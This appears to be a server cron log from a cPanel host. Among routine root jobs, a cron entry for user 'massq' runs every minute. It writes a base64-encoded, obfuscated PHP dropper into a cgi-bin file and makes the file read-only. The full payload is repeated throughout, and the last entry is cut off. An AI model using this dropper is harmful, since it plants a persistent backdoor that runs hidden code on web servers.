Sep  3 17:05:01 server CROND[1118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:05:01 server CROND[1120]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 17:05:01 server CROND[1125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:05:01 server CROND[1123]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 17:05:01 server CROND[1127]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 17:05:01 server CROND[1126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:05:01 server CROND[1129]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:05:01 server CROND[1122]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:06:01 server CROND[2031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:06:01 server CROND[2034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:06:01 server CROND[2035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:07:01 server CROND[2409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:07:01 server CROND[2410]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:07:01 server CROND[2411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:08:01 server CROND[2904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:08:01 server CROND[2903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:08:01 server CROND[2905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:09:01 server CROND[3283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:09:01 server CROND[3284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:09:01 server CROND[3285]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 17:09:01 server CROND[3287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:10:01 server CROND[3667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:10:01 server CROND[3668]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 17:10:01 server CROND[3670]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:10:01 server CROND[3669]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 17:10:01 server CROND[3674]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:10:01 server CROND[3673]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 17:10:01 server CROND[3676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:10:01 server CROND[3672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:11:01 server CROND[4502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:11:01 server CROND[4503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:11:01 server CROND[4505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:12:01 server CROND[4911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:12:01 server CROND[4913]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 17:12:01 server CROND[4914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:12:01 server CROND[4912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:13:01 server CROND[5395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:13:01 server CROND[5396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:13:01 server CROND[5397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:14:01 server CROND[5847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:14:01 server CROND[5848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:14:01 server CROND[5849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:15:01 server CROND[6242]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 17:15:01 server CROND[6244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:15:01 server CROND[6252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:15:01 server CROND[6250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:15:01 server CROND[6249]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 17:15:01 server CROND[6251]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:15:01 server CROND[6253]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:15:01 server CROND[6257]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 17:16:01 server CROND[7320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:16:01 server CROND[7321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2a